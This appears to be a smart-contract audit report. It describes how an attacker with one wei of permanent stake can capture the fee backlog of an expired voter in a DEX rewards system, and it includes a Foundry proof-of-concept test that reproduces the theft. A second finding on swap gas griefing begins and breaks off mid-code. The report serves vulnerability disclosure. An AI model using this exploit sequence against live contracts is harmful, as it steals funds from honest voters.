Nothing runs at expiry. `_notifyFeesAmount` has six entry points and none is tied to `stakeEnd: checkpoint (:79)`, which needs a gauge allocation; the permissionless but epoch-gated `advanceGlobalPoints (:96-98)`; `flushFees` and `sweep`, restricted to the gauge factory and the program creator (:142, :160); and the two claim paths, restricted to the token operator (:463, :557). Nothing in the repository calls `advanceGlobalPoints`; there is no keeper. Expiry is applied lazily inside `_supplyAt`, which walks `slopeChanges[_t_i]` forward and subtracts the departed slope (`RewardsLogicLibrary.sol:420-436`), and `Voter.clearToken` states the position outright — "No point is touched: `withdraw` only accepts an expired stake, so this token's weight already decayed out of every point" (`Voter.sol:582-583`).

The claim then excludes the expired stake from the credit it earned. `computeFeeRewards` finds the first global

checkpoint at or after `_stakeEnd` and decrements past it (`RewardsLogicLibrary.sol:252`). The credit lands at a checkpoint stamped `block.timestamp`, after expiry, because `_createGlobalRewardPoints` writes the previous accumulator to every intermediate week boundary (`VotingRewardsManager.sol:373`) and the new one only to the final checkpoint (`:414`), so the delta across the clipped range is zero. The incentive twin carries no such decrement (`RewardsLogicLibrary.sol:334-345`), and both functions carry the instruction that they "mirror" each other and that "shared logic changes must be reflected in both" (`:194`) — routing the same amount to the same stake over the same window as an incentive pays it in full at `stakeEnd + 1`. The clip itself is not the bug: it is specified in the team's own test tree and required by the payout formula, whose natspec "Assumes the checkpoint range is clipped at stake expiry" (`:743`). It is correct given that the accumulator advanced while the stake was alive, and nothing guarantees that.

Why one wei suffices. `checkpoint` notifies at `:79` before `_checkpoint` at `:86`, so a late arrival cannot rob a live cohort — a surviving voter with real weight absorbs the backlog instead. Once the cohort has expired that ordering is defeated: the notify runs at `totalSupply() == 0` and buffers the whole backlog against the first positive supply to appear (`FeeDistribution.sol:97-102`), then the attacker's next-block `claimFees` collects, re-notifies at supply 1, and the permanent branch pays $1 * (F * 1e18 / 1) / 1e18 = F$ (`RewardsLogicLibrary.sol:480-485`). The buffer is not even required — pre-positioning the wei alongside the cohort reaches the same payout with `bufferedFees0()` at zero. Every gate admits one wei: `createStake` rejects only a zero value and returns `stakeEnd = 0` for permanent (`VotingEscrow.sol:908-910`), both allocation validators reject only zero (`Voter.sol:2016`, `LeafVoter.sol:522`), and the leaf's dust gate passes on `_perm != 0` (`LeafVoter.sol:1047-1056`) — a one-wei decaying stake would be dropped, since `_slope = _allocated / MAXTIME` truncates, so the attack is permanent-stake-only. On the root chain the seed is atomic and transport-free, since `RootLocalAdapter` routes to the leaf orchestrator in the same call and quotes zero (`RootLocalAdapter.sol:39-62`).

No warning, no recovery, and no attacker required. `earnedFees` gates its pending top-up on `_balanceOfNFTAt(_tokenId, block.timestamp) > 0` (`VotingRewardsManager.sol:174`), so it reports the full accrual one second before expiry and zero one second after. A post-expiry claim collects nothing at all — the gate at `:457` is false on both legs — yet `LeafVoter._claimFees` still emits `FeeClaimSucceeded` for the zero payout (`LeafVoter.sol:756-761`). Calling `advanceGlobalPoints` afterwards only buffers the backlog for the next voter, and re-staking cannot help because it is the old user point's span that is clipped. The loss lands whether or not anyone is farming it: claiming at `stakeEnd - 1` pays essentially everything and claiming at `stakeEnd` pays nothing, so the honest pattern of voting, letting the lock run and claiming when it ends is itself the losing move.

Likelihood (Low)

Every notify is a shared repair: `advanceGlobalPoints` is permissionless and any voter's own `claimFees` credits the backlog for the whole cohort, so a gauge with any claim activity carries only the fees accrued since the last one, and anything an earlier notify banked survives expiry and stays claimable. The full-backlog outcome therefore needs a gauge that goes an entire accrual window untouched — nobody claiming, nobody

advancing — with a lock expiring inside that gap, and the attacker-directed version needs the gauge's whole cohort to have lapsed, since a single surviving voter with real weight absorbs the credit instead. That is a quiet or aging gauge, not a busy one; the attacker cannot manufacture either half, only enumerate week-aligned expiries and wait for one.

Impact (Medium)

The normal outcome is that a decaying voter forfeits the fees accrued since the last notify and they are redistributed to whoever holds weight at the next one, which on an active gauge is a bounded slice of one claim interval rather than a position-sized loss. The 100% capture the PoC demonstrates — 1799.99 DAI and 1799.99 USDC taken by one wei of voting power — is the tail case that needs a fully lapsed cohort, and even there the damage is confined to the fee stream: `lastPendingFees/bufferedFees keep [] credited == [] collected`, so LP reserves, locked AERO principal, the Minter's allowance and the emissions schedule are untouched. What is not bounded is recoverability — the victim's span is clipped at expiry and no clawback, sweep or rescue path exists for fees.

Mitigation

Attribute the lump to the interval it accrued in rather than to an instant: in `_notifyFeesAmount`, divide by the supply integrated over `[lastFeeUpdate, block.timestamp]`, reusing the per-sub-interval accumulator `_createGlobalRewardPoints` already maintains for incentives (VotingRewardsManager.sol:344-351). The `_activeEnd--` clip must then be replaced rather than deleted — give the fee path the incentive path's partial-interval pricing (RewardsLogicLibrary.sol:617) so an expiring stake is paid for the fraction of the boundary interval it actually voted. Removing the clip alone is not a fix: `_decayingStakeNumerator` depends on it (:743) and the unclipped numerator goes negative and clamps to zero at :760, so the victim is still paid nothing. Separately, give fees a zero-supply escape — a fee-side counterpart to the incentive sweep, or a refusal to credit below a meaningful supply floor — so pre-vote and post-collapse accrual is not handed to the first voter of any size.

Proof of Concept

The PoC runs the full production stack with no mock anywhere on the exploit path: `real Token/VotingEscrow/Minter/Voter/RootMessageOrchestrator/RootLocalAdapter/LeafMessageOrchestrator/LeafVoter/FactoryRegistry/VolatilePoolFactory/Pool/GaugeManager/GaugeFactory/V2Gauge/VotingRewardsFactory/VotingRewardsManager`. The stolen tokens are real pool fees produced by real swaps against real liquidity staked in the gauge.

An honest voter locks 1,000,000 AERO for two weeks and votes the gauge through `Voter.allocate`; LPs stake and traders swap across the whole lock, and nobody notifies because nothing obliges them to. One second before expiry the protocol's own `earnedFees` confirms the voter is the entire supply and is owed the full backlog. The lock then ends, and an unprivileged EOA mints one wei of AERO and makes four ordinary public calls — `createStake(1, 0, true)`, `Voter.allocate`, then `Voter.claimRewards` a block later — with no

roles and no privileged help. The victim afterwards claims three times across three weeks and receives nothing on every attempt.

1	Victim voting weight (AERO)	1000000.000000000000000000
2	Attacker voting weight (wei)	1
3	Victim owed 1s before expiry, token0	1799.999999999999400000
4	Victim owed 1s before expiry, token1	1799.999999
5	Victim received, token0	0.000000000000000000
6	Victim received, token1	0.000000
7	Attacker received, token0	1799.999999999999400000
8	Attacker received, token1	1799.999999

Save the diff below as `fee-backlog-expiry-capture-poc.patch` in the audit repo root (paths are `metadex/...`), then:

```
1 git apply fee-backlog-expiry-capture-poc.patch
2 cd metadex
3 forge test --match-test test_POV_ExpiredVoterFeeBacklogStolenByOneWeiVote -vv
```

DIFF

```
1 diff --git a/metadex/V3/test/E2E/ClaimRewardsFlow.t.sol b/metadex/V3/test/E2E/
  ClaimRewardsFlow.t.sol
2 index 1b2218c..060ea74 100644
3 --- a/metadex/V3/test/E2E/ClaimRewardsFlow.t.sol
4 +++ b/metadex/V3/test/E2E/ClaimRewardsFlow.t.sol
5 @@ -3,11 +3,31 @@ pragma solidity 0.8.30;
6
7   import {IAccessControl} from '@openzeppelin/contracts/access/IAccessControl.sol';
8
9   +import {MockWETH} from 'V3-test/mocks/MockWETH.sol';
10  +import {TestERC20} from 'V3-test/mocks/TestERC20.sol';
11   import {TestHelpers} from 'V3-test/utills/TestHelpers.sol';
12
13   import {LeafMessageOrchestrator} from 'V3/bridge/LeafMessageOrchestrator.sol';
14   import {RootLocalAdapter} from 'V3/bridge/RootLocalAdapter.sol';
15   import {RootMessageOrchestrator} from 'V3/bridge/RootMessageOrchestrator.sol';
```

DIFF

```

16  +import {VotingEscrow} from 'V3/core/VotingEscrow.sol';
17  +import {FactoryRegistry} from 'V3/factories/FactoryRegistry.sol';
18  +import {GaugeFactory} from 'V3/factories/GaugeFactory.sol';
19  +import {PoolFactory} from 'V3/factories/PoolFactory.sol';
20  +import {VolatilePoolFactory} from 'V3/factories/VolatilePoolFactory.sol';
21  +import {GaugeManager} from 'V3/gauge-creation/GaugeManager.sol';
22  +import {GovernanceCreationModule} from 'V3/gauge-creation/GovernanceCreationModule.sol';
23  +import {V2Gauge} from 'V3/gauges/V2Gauge.sol';
24  +import {IGaugeFactory} from 'V3/interfaces/factories/IGaugeFactory.sol';
25  +import {IMinter} from 'V3/interfaces/minter/IMinter.sol';
26  +import {VelodromeTimeLibrary} from 'V3/libraries/VelodromeTimeLibrary.sol';
27  +import {Minter} from 'V3/minter/Minter.sol';
28  +import {Pool} from 'V3/pools/Pool.sol';
29  +import {VolatilePool} from 'V3/pools/VolatilePool.sol';
30  +import {VotingRewardsFactory} from 'V3/rewards/VotingRewardsFactory.sol';
31  +import {VotingRewardsManager} from 'V3/rewards/VotingRewardsManager.sol';
32  +import {VoterPaymentsModule} from 'V3/vpm/VoterPaymentsModule.sol';
33  +
34  import {IMessageAdapter} from 'V3/interfaces/bridge/IMessageAdapter.sol';
35  import {IMessageOrchestrator} from 'V3/interfaces/bridge/IMessageOrchestrator.sol';
36  import {IRootMessageOrchestrator} from 'V3/interfaces/bridge/IRootMessageOrchestrator.sol';
37  @@ -245,3 +265,360 @@ contract E2EClaimRewardsFlowClaimRewards is TestHelpers {
38      );
39  }
40  }
41  +
42  +/**
43  + * @notice PoC: a decaying voter's accrued trading fees are handed to a 1-wei permanent vote
44  + * @dev      Full production stack, no mocks anywhere on the exploit path: real Token/
45  + *           Voter/RootMessageOrchestrator/RootLocalAdapter/LeafMessageOrchestrator/LeafVoter/
46  + *           FactoryRegistry/

```

DIFF

```

46 + *          VolatilePoolFactory/Pool/GaugeManager/GaugeFactory/V2Gauge/VotingRewardsFactory/
VotingRewardsManager.

47 + *          The stolen tokens are real pool fees produced by real swaps against real staked
liquidity.

48 + */

49 +contract E2EClaimRewardsFlowFeeBacklogCapture is TestHelpers {

50 + uint48 internal constant _MAX_ALLOCATION_AGE = 1 hours;

51 + uint48 internal constant _ALLOCATION_COOLDOWN = 1 hours;

52 + uint256 internal constant _MAX_GAUGES = 25;

53 +

54 + /// @dev The victim's stake. Six orders of magnitude of AERO against the attacker's single
wei.

55 + uint128 internal constant _VICTIM_STAKE = 1_000_000e18;

56 +

57 + address internal _governance = makeAddr('Governance');

58 + address internal _lp = makeAddr('LiquidityProvider');

59 + address internal _trader = makeAddr('Trader');

60 + address internal _victim = makeAddr('HonestDecayingVoter');

61 + address internal _attacker = makeAddr('UnprivilegedAttacker');

62 +

63 + TestERC20 internal _aero;

64 + MockWETH internal _weth;

65 + TestERC20 internal _usdc;

66 + TestERC20 internal _dai;

67 +

68 + VotingEscrow internal _ve;

69 + VoterPaymentsModule internal _vpm;

70 + Minter internal _minter;

71 + Voter internal _voter;

72 + RootMessageOrchestrator internal _rootOrchestrator;

73 + LeafVoter internal _leafVoter;

74 + LeafMessageOrchestrator internal _leafOrchestrator;

75 + RootLocalAdapter internal _localAdapter;

76 +

```

DIFF

```

77 + FactoryRegistry internal _factoryRegistry;
78 + PoolFactory internal _poolFactory;
79 + GaugeManager internal _gaugeManager;
80 + GaugeFactory internal _gaugeFactory;
81 + VotingRewardsFactory internal _votingRewardsFactory;
82 + GovernanceCreationModule internal _creationModule;
83 +
84 + Pool internal _pool;
85 + V2Gauge internal _gauge;
86 + VotingRewardsManager internal _vrm;
87 +
88 + uint256 internal _victimTokenId;
89 + uint256 internal _attackerTokenId;
90 +
91 + function setUp() public {
92 +     vm.warp(52 weeks);
93 +     _deployCore();
94 +     _deployAmmAndGauge();
95 + }
96 +
97 + /*/////////////////////////////////////////////////////////////////
98 +                                     POC
99 + //////////////////////////////////*/
100 +
101 + function test_POCExpiredVoterFeeBacklogStolenByOneWeiVote() external {
102 +     // -----
103 +     // SETUP: an honest voter locks 1,000,000 AERO for two weeks and votes the gauge. Real
104 +     // LPs stake real
105 +     // liquidity and real swaps accrue real fees. Nobody calls advanceGlobalPoints or claims
106 +     // in the window
107 +     // -- the default state, since nothing in the protocol obliges anyone to.
108 +     // -----
109 +     vm.warp(VelodromeTimeLibrary.epochNext(block.timestamp));

```

DIFF

```

108 +   uint48 _stakeEnd = uint48(VelodromeTimeLibrary.epochStart(block.timestamp) + 2 weeks);
109 +
110 +   _aero.mint(_victim, _VICTIM_STAKE);
111 +   vm.startPrank(_victim);
112 +   _aero.approve(address(_ve), _VICTIM_STAKE);
113 +   _victimTokenId = _ve.createStake({_value: _VICTIM_STAKE, _stakingWeeks: 2, _isPermanent:
false});
114 +   _allocate(_victimTokenId, _VICTIM_STAKE, _victim);
115 +   vm.stopPrank();
116 +   assertEq(_ve.staked(_victimTokenId).end, _stakeEnd, 'week-aligned expiry');
117 +
118 +   _seedLiquidityAndTrade();
119 +
120 +   // The victim is the sole voter and is owed the entire backlog one second before its
lock ends.
121 +   vm.warp(_stakeEnd - 1);
122 +   assertEq(_vrm.totalSupply(), _vrm.balanceOfNFTAt(_victimTokenId, block.timestamp),
'victim is the sole supply');
123 +   (uint256 _owed0, uint256 _owed1) = _vrm.earnedFees(_victimTokenId, type(uint256).max);
124 +   assertGt(_owed0, 0, 'no token0 fees accrued');
125 +   assertGt(_owed1, 0, 'no token1 fees accrued');
126 +
127 +   // -----
128 +   // EXPLOIT: the lock expires. Its weight leaves the fee denominator with no notify and
no event, so the
129 +   // backlog is still un-credited. An unprivileged EOA now stakes ONE WEI, votes it, and
claims.
130 +   // -----
131 +   vm.warp(_stakeEnd + 1);
132 +   assertEq(_vrm.totalSupply(), 0, 'supply collapsed silently at expiry');
133 +
134 +   _aero.mint(_attacker, 1);
135 +   vm.startPrank(_attacker);
136 +   _aero.approve(address(_ve), 1);

```

DIFF

```

137 +   _attackerTokenId = _ve.createStake({_value: 1, _stakingWeeks: 0, _isPermanent: true});
138 +   _allocate(_attackerTokenId, 1, _attacker);
139 +   vm.stopPrank();
140 +   assertEq(_vrm.totalSupply(), 1, 'attacker is now the entire fee denominator');
141 +
142 +   vm.warp(block.timestamp + 1);
143 +   vm.prank(_attacker);
144 +   _claim(_attackerTokenId, _attacker);
145 +
146 +   // The victim then claims everything it can, for as long as it likes.
147 +   for (uint256 _i; _i < 3; ++_i) {
148 +       vm.prank(_victim);
149 +       _claim(_victimTokenId, _victim);
150 +       vm.warp(block.timestamp + 1 weeks);
151 +   }
152 +
153 +   // -----
154 +   // DAMAGE: the one-wei holder took every token the 1,000,000 AERO holder earned.
155 +   // -----
156 +   TestERC20 _feeToken0 = TestERC20(_vrm.token0());
157 +   TestERC20 _feeToken1 = TestERC20(_vrm.token1());
158 +
159 +   assertEq(_feeToken0.balanceOf(_victim), 0, 'victim received token0');
160 +   assertEq(_feeToken1.balanceOf(_victim), 0, 'victim received token1');
161 +   assertEq(_feeToken0.balanceOf(_attacker), _owed0, 'attacker did not take the full token0
backlog');
162 +   assertEq(_feeToken1.balanceOf(_attacker), _owed1, 'attacker did not take the full token1
backlog');
163 +
164 +   // Conservation holds - this is redirection, not inflation. The attacker cannot take
more than the
165 +   // gauge actually collected, which is what bounds this to the fee stream.
166 +   assertEq(_feeToken0.balanceOf(address(_vrm)), 0, 'token0 left unaccounted in the
manager');

```

DIFF

```

167 +   assertEq(_feeToken1.balanceOf(address(_vrm)), 0, 'token1 left unaccounted in the
    manager');
168 +
169 +   // And the victim has no path back: its priced span is clipped at expiry, so re-claiming
    is a no-op.
170 +   (uint256 _stillOwed0, uint256 _stillOwed1) = _vrm.earnedFees(_victimTokenId,
    type(uint256).max);
171 +   assertEq(_stillOwed0 + _stillOwed1, 0, 'victim retains a recoverable entitlement');
172 +
173 +   emit log_named_decimal_uint('Victim voting weight (AERO)', _VICTIM_STAKE, 18);
174 +   emit log_named_uint('Attacker voting weight (wei)', 1);
175 +   emit log_named_decimal_uint('Victim owed 1s before expiry, token0', _owed0,
    _feeToken0.decimals());
176 +   emit log_named_decimal_uint('Victim owed 1s before expiry, token1', _owed1,
    _feeToken1.decimals());
177 +   emit log_named_decimal_uint('Victim received, token0', _feeToken0.balanceOf(_victim),
    _feeToken0.decimals());
178 +   emit log_named_decimal_uint('Victim received, token1', _feeToken1.balanceOf(_victim),
    _feeToken1.decimals());
179 +   emit log_named_decimal_uint('Attacker received, token0',
    _feeToken0.balanceOf(_attacker), _feeToken0.decimals());
180 +   emit log_named_decimal_uint('Attacker received, token1',
    _feeToken1.balanceOf(_attacker), _feeToken1.decimals());
181 + }
182 +
183 + /*/////////////////////////////////////////////////////////////////
184 +
    ACTION HELPERS
185 +
    //////////////////////////////////////*/
186 +
187 + /// @dev An ordinary vote: park-to-chain, then direct the whole budget at one gauge. Root
    is also a leaf,
188 +
    ///      so 'RootLocalAdapter' delivers both messages synchronously for zero transport
    fee.
189 +
    function _allocate(uint256 _tokenId, uint128 _amount, address _refund) internal {
190 +
    IVoter.ChainAllocationDispatch[] memory _chains = new IVoter.ChainAllocationDispatch[]
    (1);

```

DIFF

```

191 +   _chains[0] = IVoter.ChainAllocationDispatch({chainId: block.chainid, delta: _amount,
192 +   gasLimit: 0, value: 0});
193 +   IVoterCommon.GaugeAllocation[] memory _allocations = new IVoterCommon.GaugeAllocation[]
194 +   (1);
195 +   _allocations[0] = IVoterCommon.GaugeAllocation({gauge: address(_gauge), allocated:
196 +   _amount, data: ''});
197 +
198 +   IVoter.GaugeAllocationDispatch[] memory _gauges = new IVoter.GaugeAllocationDispatch[]
199 +   (1);
200 +   _gauges[0] =
201 +   IVoter.GaugeAllocationDispatch({chainId: block.chainid, gasLimit: 0, value: 0, gauges:
202 +   _allocations});
203 +
204 +   _voter.allocate(_tokenId, _chains, _gauges, _refund);
205 + }
206 +
207 + function _claim(uint256 _tokenId, address _recipient) internal {
208 +   ILeafVoter.FeeClaim[] memory _feeClaims = new ILeafVoter.FeeClaim[](1);
209 +   _feeClaims[0] = ILeafVoter.FeeClaim({votingRewardsManager: address(_vrm),
210 +   maxCheckpoints: type(uint256).max});
211 +
212 +   IVoter.ClaimRewardsParams[] memory _params = new IVoter.ClaimRewardsParams[](1);
213 +   _params[0] = IVoter.ClaimRewardsParams({
214 +   chainId: block.chainid,
215 +   gasLimit: 0,
216 +   value: 0,
217 +   recipient: _recipient,
218 +   feeClaims: _feeClaims,
219 +   incentiveClaims: new ILeafVoter.IncentiveClaim[](0)
220 +   });
221 +   _voter.claimRewards(_tokenId, _params, _recipient);
222 + }

```

DIFF

```
219 + /// @dev Real liquidity staked in the gauge, real swaps spread across the victim's whole
    lock. No path
220 + ///      here touches the VotingRewardsManager, which is exactly why the backlog stays un-
    notified.
221 + function _seedLiquidityAndTrade() internal {
222 +     uint256 _usdcSeed = 3_000_000 * 1e6;
223 +     uint256 _daiSeed = 3_000_000e18;
224 +     _usdc.mint(_lp, _usdcSeed);
225 +     _dai.mint(_lp, _daiSeed);
226 +
227 +     vm.startPrank(_lp);
228 +     _usdc.transfer(address(_pool), _usdcSeed);
229 +     _dai.transfer(address(_pool), _daiSeed);
230 +     uint256 _liquidity = _pool.mint(_lp);
231 +     _pool.approve(address(_gauge), _liquidity);
232 +     _gauge.deposit(_liquidity);
233 +     vm.stopPrank();
234 +
235 +     for (uint256 _i; _i < 12; ++_i) {
236 +         _swap(address(_usdc), 50_000 * 1e6);
237 +         _swap(address(_dai), 50_000e18);
238 +         vm.warp(block.timestamp + 1 days);
239 +     }
240 + }
241 +
242 + function _swap(address _tokenIn, uint256 _amountIn) internal {
243 +     TestERC20(_tokenIn).mint(_trader, _amountIn);
244 +     (uint256 _reserve0, uint256 _reserve1,) = _pool.getReserves();
245 +     uint256 _amountOut = _pool.getAmountOut(_amountIn, _tokenIn, _reserve0, _reserve1);
246 +
247 +     vm.startPrank(_trader);
248 +     TestERC20(_tokenIn).transfer(address(_pool), _amountIn);
249 +     if (_tokenIn == _pool.token0()) _pool.swap(0, _amountOut, _trader, '');
```

DIFF

```

250 +     else _pool.swap(_amountOut, 0, _trader, '');
251 +     vm.stopPrank();
252 + }
253 +
254 + /*/////////////////////////////////////////////////////////////////
255 +                                DEPLOYMENT
256 + //////////////////////////////////*/
257 +
258 + function _deployCore() internal {
259 +     _aero = new TestERC20('Aerodrome', 'AERO', 18);
260 +     _weth = new MockWETH();
261 +     _usdc = new TestERC20('USD Coin', 'USDC', 6);
262 +     _dai = new TestERC20('Dai', 'DAI', 18);
263 +
264 +     uint256 _nonce = vm.getNonce(address(this));
265 +     address _predictedRootOrchestrator = _computeCreate(address(this), _nonce);
266 +     address _predictedVoter = _computeCreate(address(this), _nonce + 1);
267 +     address _predictedVe = _computeCreate(address(this), _nonce + 2);
268 +     address _predictedMinter = _computeCreate(address(this), _nonce + 3);
269 +
270 +     _rootOrchestrator = new RootMessageOrchestrator(_predictedVoter);
271 +     _voter = new Voter({
272 +         _orchestrator: _predictedRootOrchestrator,
273 +         _votingEscrow: _predictedVe,
274 +         _minter: _predictedMinter,
275 +         _token: address(_aero),
276 +         _adapterAuthority: _governance,
277 +         _governor: _governance,
278 +         _configAdmin: _governance,
279 +         _maxAllocationAge: _MAX_ALLOCATION_AGE
280 +     });
281 +     _ve = new VotingEscrow(

```

DIFF

```
282 +     IVotingEscrow.Contracts({token: address(_aero), voter: _predictedVoter, artProxy:
    makeAddr('ArtProxy')})),
283 +     IVotingEscrow.Admins({vpmAdmin: _governance, artProxyAdmin: _governance,
    burnFeesAdmin: _governance})
284 + );
285 + _minter = new Minter(
286 +     IMinter.ConstructorParams({
287 +         token: address(_aero),
288 +         voter: _predictedVoter,
289 +         splitter: makeAddr('Splitter'),
290 +         operator: _governance,
291 +         migrationOpen: uint48(VelodromeTimeLibrary.epochStart(block.timestamp) + 2 weeks),
292 +         initialBaseRate: 1e18,
293 +         maxBaseRateChangePips: 10_000,
294 +         baseRateUpdateCooldown: 1 weeks,
295 +         teamRate: 0,
296 +         maxBaseRateChangePipsCap: 50_000,
297 +         minBaseRateUpdateCooldown: 1 days,
298 +         maxBaseRateUpdateCooldown: 4 weeks,
299 +         maxBandFloorPips: 500_000,
300 +         maxBandCeilingPips: 1_000_000
301 +     })
302 + );
303 + assertEq(address(_rootOrchestrator), _predictedRootOrchestrator);
304 + assertEq(address(_voter), _predictedVoter);
305 + assertEq(address(_ve), _predictedVe);
306 + assertEq(address(_minter), _predictedMinter);
307 +
308 + _vpm = new VoterPaymentsModule(address(_ve), _governance);
309 + bytes32 _vpmRole = _ve.VPM_ROLE();
310 + vm.prank(_governance);
311 + _ve.grantRole(_vpmRole, address(_vpm));
312 +
```

DIFF

```
313 +   _factoryRegistry = new FactoryRegistry({_targetFactoryAdmin: _governance, _leafVoter:
    address(0)});
314 +
315 +   _nonce = vm.getNonce(address(this));
316 +   address _predictedLeafOrchestrator = _computeCreate(address(this), _nonce);
317 +   address _predictedLeafVoter = _computeCreate(address(this), _nonce + 1);
318 +   address _predictedGaugeManager = _computeCreate(address(this), _nonce + 2);
319 +
320 +   _leafOrchestrator = new LeafMessageOrchestrator(_predictedLeafVoter, block.chainid);
321 +   _leafVoter = new LeafVoter({
322 +     _governor: _governance,
323 +     _configAdmin: _governance,
324 +     _leafMessageOrchestrator: _predictedLeafOrchestrator,
325 +     _receiptToken: makeAddr('ReceiptToken'),
326 +     _factoryRegistry: address(_factoryRegistry),
327 +     _gaugeManager: _predictedGaugeManager,
328 +     _allocationCooldown: _ALLOCATION_COOLDOWN,
329 +     _maxGauges: _MAX_GAUGES,
330 +     _adapterAuthority: _governance,
331 +     _emissionsHandler: makeAddr('EmissionsHandler'),
332 +     _emergencyCouncil: _governance
333 +   });
334 +   _gaugeManager = new GaugeManager(address(_factoryRegistry), _predictedLeafVoter);
335 +   assertEq(address(_leafOrchestrator), _predictedLeafOrchestrator);
336 +   assertEq(address(_leafVoter), _predictedLeafVoter);
337 +   assertEq(address(_gaugeManager), _predictedGaugeManager);
338 +
339 +   _localAdapter = new RootLocalAdapter(address(_rootOrchestrator),
    address(_leafOrchestrator));
340 +
341 +   vm.startPrank(_governance);
342 +   _rootOrchestrator.setAdapter(block.chainid, IMessageAdapter(address(_localAdapter)));
343 +   _leafOrchestrator.setAdapter(IMessageAdapter(address(_localAdapter)));
```

DIFF

```
344 +     _factoryRegistry.setLeafVoter(address(_leafVoter));
345 +     _leafVoter.grantRole(Roles.FACTORY_REGISTRY_ADMIN_ROLE, _governance);
346 +     _leafVoter.grantRole(Roles.MODULE_ADMIN_ROLE, _governance);
347 +     IAccessControl(address(_voter)).grantRole(Roles.CHAIN_CONFIG_ROLE, _governance);
348 +     _voter.registerChain(block.chainid);
349 +     vm.stopPrank();
350 + }
351 +
352 + function _deployAmmAndGauge() internal {
353 +     VolatilePool _poolImplementation = new VolatilePool();
354 +     _poolFactory = new VolatilePoolFactory({
355 +         _implementation: address(_poolImplementation),
356 +         _poolAdmin: _governance,
357 +         _pauser: _governance,
358 +         _feeManager: _governance,
359 +         _discountRegistryManager: _governance,
360 +         _poolTapeManager: _governance,
361 +         _factoryRegistry: address(_factoryRegistry)
362 +     });
363 +
364 +     _votingRewardsFactory = new VotingRewardsFactory({_voter: address(_leafVoter),
365 +         _wrappedNative: address(_weth)});
366 +     _gaugeFactory = new GaugeFactory(
367 +         IGaugeFactory.InitParams({
368 +             leafVoter: address(_leafVoter),
369 +             votingRewardsFactory: address(_votingRewardsFactory),
370 +             isStable: false,
371 +             capAdmin: _governance,
372 +             referralAdmin: _governance,
373 +             penaltyAdmin: _governance,
374 +             capOperator: _governance,
375 +             defaultCap: type(uint128).max,
376 +             operatorMinCap: 1,
```

DIFF

```
376 +         operatorMaxCap: type(uint128).max,
377 +         maxMinStakeBlocks: 100
378 +     })
379 + );
380 +
381 +     vm.prank(_governance);
382 +     _factoryRegistry.registerFactories({_gaugeFactory: address(_gaugeFactory),
383 +     _targetFactory: address(_poolFactory)});
384 +
385 +     _pool = Pool(_poolFactory.createPool(address(_usdc), address(_dai)));
386 +
387 +     _creationModule = new GovernanceCreationModule(address(_leafVoter));
388 +     vm.startPrank(_governance);
389 +     _gaugeManager.registerModule(address(_creationModule));
390 +     _creationModule.createGauge({
391 +         _target: address(_pool), _gaugeFactory: address(_gaugeFactory), _factoryData: '',
392 +         _activate: true
393 +     });
394 +     vm.stopPrank();
395 +
396 +     _gauge = V2Gauge(_factoryRegistry.targetToGauge(address(_pool)));
397 +     _vrm = VotingRewardsManager(payable(_factoryRegistry.gaugeToRewards(address(_gauge))));
398 + }
399 + }
```

A single cheap swap can make the next user's swap burn massive gas and revert with nothing

Location	—
----------	---

Summary

`CLPool.swap` walks the tick bitmap one 256-tick word per iteration once active liquidity reaches zero, and a zero-liquidity step costs nothing, so the walk stops only at `sqrtPriceLimitX96`. At `tickSpacing = 1` — the protocol's stable-pair spacing, enabled unconditionally in `CLFactory`'s constructor — that is ~3,466 iterations and 25.6M gas, and a quote for the same pool costs 37.6M because the quoter re-walks the identical range a second time in its catch handler.

Any unprivileged actor can put an honest stable pool into that state with one ordinary swap for 144,432 gas. The next user's swap through the same pool then burns 25,590,929 gas and reverts, receiving nothing — a 177x grief ratio, on a trade that costs 114,912 gas and succeeds when the pool is untouched. The victim has no defence: the production `Metarouter` hardcodes the price limit to the directional extreme, and eight multi-hop quoter entry points hardcode it to zero.

Finding Description

Three facts compose. The first two are inherited Uniswap v3-core; the third is `MetaDEX03`'s.

1. A zero-liquidity step is free. `SwapMath.computeSwapStep` computes `amountIn = getAmount0Delta(..., liquidity = 0, true) = 0`, so `amountRemainingLessFee >= amountIn` always holds and the price jumps straight to the step target; `feeAmount = mulDivRoundingUp(0, ...) = 0`. The swap loop's `state.amountSpecifiedRemaining` therefore never decreases, and the loop is bounded only by `state.sqrtPriceX96 != sqrtPriceLimitX96`.
2. Each step advances exactly one word. `TickBitmap.nextInitializedTickWithinOneWord` returns `(compressed - int24(bitPos)) * tickSpacing` — the word boundary — when the word holds no initialized tick. A word spans `256 * tickSpacing` ticks, so reaching `MIN_TICK = -887272` takes `887272 / 256 = 3,466` iterations at `tickSpacing = 1`. Measured across the enabled spacings, the same dust setup costs 37,629,205 gas to quote at spacing 1 against 852,899 at 50, 480,534 at 100 and 302,069 at 200: the defect is specific to spacing 1, and `CLFactory`'s constructor enables it unconditionally with no disable path — `enableTickSpacing` refuses to overwrite (`require(tickSpacingToFee[tickSpacing] == 0), :293`) and no `disableTickSpacing` exists in either repo.
3. `MetaDEX03` removed the caller's ability to bound the walk. This is the part that turns an inherited cost model into a user-facing defect. Uniswap's `SwapRouter` — and this repo's own `SwapRouter` — expose

`sqrtPriceLimitX96` as a caller parameter, so an integrator can cap the walk. The production `Metarouter._clSwap` does not:

SOLIDITY

```
1  // Selling token0 moves the price down and selling token1 up, so the boundary acts as no
   price limit at this point.

2  uint160 _sqrtRatioX96 = _zeroForOne ? _MIN_SQRT_RATIO_PLUS_ONE : _MAX_SQRT_RATIO_MINUS_ONE;

3  (_amount0, _amount1) = ICLPool(_pool).swap(_recipient, _zeroForOne, _amountSpecified,
   _sqrtRatioX96, _data);
```

There is no `sqrtPriceLimitX96` anywhere in the Metarouter's CL swap surface — all three `_clSwap` call sites (:229, :490, :541) reach the same hardcoded extreme. Every CL swap the protocol's own router makes is the unbounded-walk variant, and its callback then reverts `InvalidCallbackDeltas` (:220) once the walk settles both deltas at zero — after the gas is spent. The standalone `SwapRouter` reverts on the same path through the unmessage `require(amount0Delta > 0 || amount1Delta > 0)` at `SwapRouter.sol:54`, so the victim sees an opaque failure either way.

The quote surface repeats the walk. `MixedRouteQuoterV1.handleV3Revert` calls `pool.countInitializedTicksCrossed(tickBefore, tickAfter)` in its catch, and `PoolTicksCounter` re-walks the same range with one external `STATICCALL` per word, uncapped, on whatever gas EIP-150 left after the swap subcall:

SOLIDITY

```
1  while (wordPosLower <= wordPosHigher) {

2      if (wordPosLower == wordPosHigher) mask = mask & (type(uint256).max >> (255 -
   bitPosHigher));

3      uint256 masked = self.tickBitmap(wordPosLower) & mask;    // external STATICCALL, one per
   word

4      initializedTicksCrossed += countOneBits(masked);

